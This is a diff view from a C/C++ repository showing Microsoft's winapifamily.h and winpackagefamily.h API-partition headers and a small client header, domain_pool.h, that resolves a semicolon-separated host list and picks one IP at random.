* device specific APIs to a particular WINAPI_FAMILY.
* For example, when writing Windows Universal apps, specifying
* WINAPI_FAMILY_APP will hide phone APIs from compilation.
* However, specifying WINAPI_PARTITION_PHONE_APP=1 additionally, will
* unhide any API hidden behind the partition, to the compiler.
* The following partitions are currently defined:
* WINAPI_PARTITION_DESKTOP // usable for Desktop Win32 apps (but not store apps)
* WINAPI_PARTITION_APP // usable for Windows Universal store apps
* WINAPI_PARTITION_PC_APP // specific to Desktop-only store apps
* WINAPI_PARTITION_PHONE_APP // specific to Phone-only store apps
* WINAPI_PARTITION_SYSTEM // specific to System applications
* WINAPI_PARTITION_GAMES // specific to games and apps
* The following partitions are indirect partitions and defined in
* winpackagefamily.h. These partitions are related to package based
* partitions. For example, specifying WINAPI_PARTITION_SERVER=1 will light up
* any API hidden behind the package based partitions that are bound to
* WINAPI_PARTITION_SERVER, to the compiler.
* WINAPI_PARTITION_SERVER // specific to Server applications
*/
/*
* The WINAPI_FAMILY values of 0 and 1 are reserved to ensure that
* an error will occur if WINAPI_FAMILY is set to any
* WINAPI_PARTITION value (which must be 0 or 1, see below).
*/
#define WINAPI_FAMILY_PC_APP 2 /* Windows Store Applications */
#define WINAPI_FAMILY_PHONE_APP 3 /* Windows Phone Applications */
#define WINAPI_FAMILY_SYSTEM 4 /* Windows Drivers and Tools */
#define WINAPI_FAMILY_SERVER 5 /* Windows Server Applications */
#define WINAPI_FAMILY_GAMES 6 /* Windows Games and Applications */
#define WINAPI_FAMILY_DESKTOP_APP 100 /* Windows Desktop Applications */
/* The value of WINAPI_FAMILY_DESKTOP_APP may change in future SDKs. */
/* Additional WINAPI_FAMILY values may be defined in future SDKs. */
/*
* For compatibility with Windows 8 header files, the following
* synonym for WINAPI_FAMILY_PC_APP is temporarily #define'd.
* Use of this symbol should be considered deprecated.
*/
#define WINAPI_FAMILY_APP WINAPI_FAMILY_PC_APP
/*
* If no WINAPI_FAMILY value is specified, then all APIs available to
* Windows desktop applications are exposed.
*/
#ifndef WINAPI_FAMILY
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
#endif
/*
* API PARTITONs are part of an indirection mechanism for mapping between
* individual APIs and the FAMILYs to which they apply.
* Each PARTITION is a category or subset of named APIs. PARTITIONs
* are permitted to have overlapping membership -- some single API
* might be part of more than one PARTITION. PARTITIONS are each #define-ed
* to be either 1 or 0 or depending on the platform at which the app is targeted.
*/
/*
* The mapping between families and partitions is summarized here.
* An X indicates that the given partition is active for the given
* platform/family.
*
* +---------------------------+
* | *Partition* |
* +---+---+---+---+---+---+---+
* | | | | | | | |
* | | | | | | | |
* | | | | P | | | |
* | | | | H | | | |
* | D | | | O | | | |
* | E | | P | N | S | S | |
* | S | | C | E | Y | E | G |
* | K | | _ | _ | S | R | A |
* | T | A | A | A | T | V | M |
* +-------------------------+----+ O | P | P | P | E | E | E |
* | *Platform/Family* \| P | P | P | P | M | R | S |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_DESKTOP_APP | X | X | X | | | | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_PC_APP | | X | X | | | | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_PHONE_APP | | X | | X | | | |
* +----------------------------- +---+---+---+---+---+---+---+
* | WINAPI_FAMILY_SYSTEM | | | | | X | | |
* +----------------------------- +---+---+---+---+---+---+---+
* | WINAPI_FAMILY_SERVER | | | | | X | X | |
* +------------------------------+---+---+---+---+---+---+---+
* | WINAPI_FAMILY_GAMES | | | | | | | X |
* +------------------------------+---+---+---+---+---+---+---+
*
* The table above is encoded in the following expressions,
* each of which evaluates to 1 or 0.
*
* Whenever a new family is added, all of these expressions
* need to be reconsidered.
*/
#if WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_PC_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_PHONE_APP && \
WINAPI_FAMILY != WINAPI_FAMILY_SYSTEM && \
WINAPI_FAMILY != WINAPI_FAMILY_GAMES && \
WINAPI_FAMILY != WINAPI_FAMILY_SERVER
#error Unknown WINAPI_FAMILY value. Was it defined in terms of a WINAPI_PARTITION_* value?
#endif
#ifndef WINAPI_PARTITION_DESKTOP
#define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
#endif
#ifndef WINAPI_PARTITION_APP
#define WINAPI_PARTITION_APP \
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
#endif
#ifndef WINAPI_PARTITION_PC_APP
#define WINAPI_PARTITION_PC_APP \
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP)
#endif
#ifndef WINAPI_PARTITION_PHONE_APP
#define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
#endif
#ifndef WINAPI_PARTITION_GAMES
#define WINAPI_PARTITION_GAMES \
(WINAPI_FAMILY == WINAPI_FAMILY_GAMES || \
WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
#endif
/*
* SYSTEM is the only partition defined here.
* All other System based editions are defined as packages
* on top of the System partition.
* See winpackagefamily.h for packages level partitions
*/
#ifndef WINAPI_PARTITION_SYSTEM
#define WINAPI_PARTITION_SYSTEM \
(WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \
WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
#endif
/*
* For compatibility with Windows Phone 8 header files, the following
* synonym for WINAPI_PARTITION_PHONE_APP is temporarily #define'd.
* Use of this symbol should be regarded as deprecated.
*/
#define WINAPI_PARTITION_PHONE WINAPI_PARTITION_PHONE_APP
/*
* Header files use the WINAPI_FAMILY_PARTITION macro to assign one or
* more declarations to some group of partitions. The macro chooses
* whether the preprocessor will emit or omit a sequence of declarations
* bracketed by an #if/#endif pair. All header file references to the
* WINAPI_PARTITION_* values should be in the form of occurrences of
* WINAPI_FAMILY_PARTITION(...).
*
* For example, the following usage of WINAPI_FAMILY_PARTITION identifies
* a sequence of declarations that are part of both the Windows Desktop
* Partition and the Windows-Phone-Specific Store Partition:
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
* ...
* #endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
*
* The comment on the closing #endif allow tools as well as people to find the
* matching #ifdef properly.
*
* Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are
* related. In particular one might use declarations like
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
*
* or
*
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_PHONE_APP)
*
* Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...)
* should not be used.
*/
#define WINAPI_FAMILY_PARTITION(Partitions) (Partitions)
/*
* Macro used to #define or typedef a symbol used for selective deprecation
* of individual methods of a COM interfaces that are otherwise available
* for a given set of partitions.
*/
#define _WINAPI_DEPRECATED_DECLARATION __declspec(deprecated("This API cannot be used in the context of the caller's application type."))
/*
* For compatibility with Windows 8 header files, the following
* symbol is temporarily conditionally #define'd. Additional symbols
* like this should be not defined in winapifamily.h, but rather should be
* introduced locally to the header files of the component that needs them.
*/
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
# define APP_DEPRECATED_HRESULT HRESULT _WINAPI_DEPRECATED_DECLARATION
#endif // WINAPIFAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif
#endif /* !_INC_WINAPIFAMILY */

View File

@@ -0,0 +1,91 @@
/*
Copyright (c) Microsoft Corporation. All rights reserved.
Module Name:
winpackagefamily.h
Abstract:
API family partitioning based on packages.
*/
#ifndef _INC_WINPACKAGEFAMILY
#define _INC_WINPACKAGEFAMILY
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(push)
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
#endif
#pragma once
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#ifndef WINAPI_PARTITION_SERVER
#define WINAPI_PARTITION_SERVER (WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
#endif
/*
* PARTITIONS based on packages are each #undef'ed below, and then will be #define-ed
* to be either 1 or 0 or depending on the active WINAPI_FAMILY.
*/
#undef WINAPI_PARTITION_PKG_WINTRUST
#undef WINAPI_PARTITION_PKG_WEBSERVICES
#undef WINAPI_PARTITION_PKG_EVENTLOGSERVICE
#undef WINAPI_PARTITION_PKG_VHD
#undef WINAPI_PARTITION_PKG_PERFCOUNTER
#undef WINAPI_PARTITION_PKG_SECURESTARTUP
#undef WINAPI_PARTITION_PKG_REMOTEFS
#undef WINAPI_PARTITION_PKG_BOOTABLESKU
#undef WINAPI_PARTITION_PKG_CMDTOOLS
#undef WINAPI_PARTITION_PKG_DISM
#undef WINAPI_PARTITION_PKG_CORESETUP
#undef WINAPI_PARTITION_PKG_APPRUNTIME
#undef WINAPI_PARTITION_PKG_ESENT
#undef WINAPI_PARTITION_PKG_WINMGMT
#undef WINAPI_PARTITION_PKG_WNV
#undef WINAPI_PARTITION_PKG_CLUSTER
#undef WINAPI_PARTITION_PKG_VSS
#undef WINAPI_PARTITION_PKG_TRAFFIC
#undef WINAPI_PARTITION_PKG_ISCSI
#undef WINAPI_PARTITION_PKG_STORAGE
#undef WINAPI_PARTITION_PKG_MPSSVC
#undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT
#undef WINAPI_PARTITION_PKG_WER
/*
* PARTITIONS for feature packages. Each package might be active for one or more editions
*/
#define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WEBSERVICES (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_EVENTLOGSERVICE (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_VHD (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_PERFCOUNTER (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_SECURESTARTUP (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_REMOTEFS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_BOOTABLESKU (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CMDTOOLS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_DISM (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CORESETUP (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_APPRUNTIME (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_ESENT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WINMGMT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WNV (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_CLUSTER (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_VSS (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_TRAFFIC (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_ISCSI (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_STORAGE (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_MPSSVC (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_APPXDEPLOYMENT (WINAPI_PARTITION_SERVER == 1)
#define WINAPI_PARTITION_PKG_WER (WINAPI_PARTITION_SERVER == 1)
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
#if _MSC_VER >= 1200
#pragma warning(pop)
#endif
#endif
#endif /* !_INC_WINPACKAGEFAMILY */

35
client/domain_pool.h Normal file
View File

@@ -0,0 +1,35 @@
#pragma once
#include <string>
#include <vector>
#include <common/commands.h>
std::string GetIPAddress(const char* hostName);
class DomainPool
{
private:
char Address[100]; // 此长度和CONNECT_ADDRESS定义匹配
std::vector<std::string> IPList;
public:
DomainPool()
{
memset(Address, 0, sizeof(Address));
}
DomainPool(const char* addr)
{
strcpy_s(Address, addr ? addr : "");
IPList = StringToVector(Address, ';');
for (int i = 0; i < IPList.size(); i++) {
IPList[i] = GetIPAddress(IPList[i].c_str());
}
}
std::string SelectIP() const
{
auto n = rand() % IPList.size();
return IPList[n];
}
std::vector<std::string> GetIPList() const
{
return IPList;
}
};

Some files were not shown because too many files have changed in this diff Show More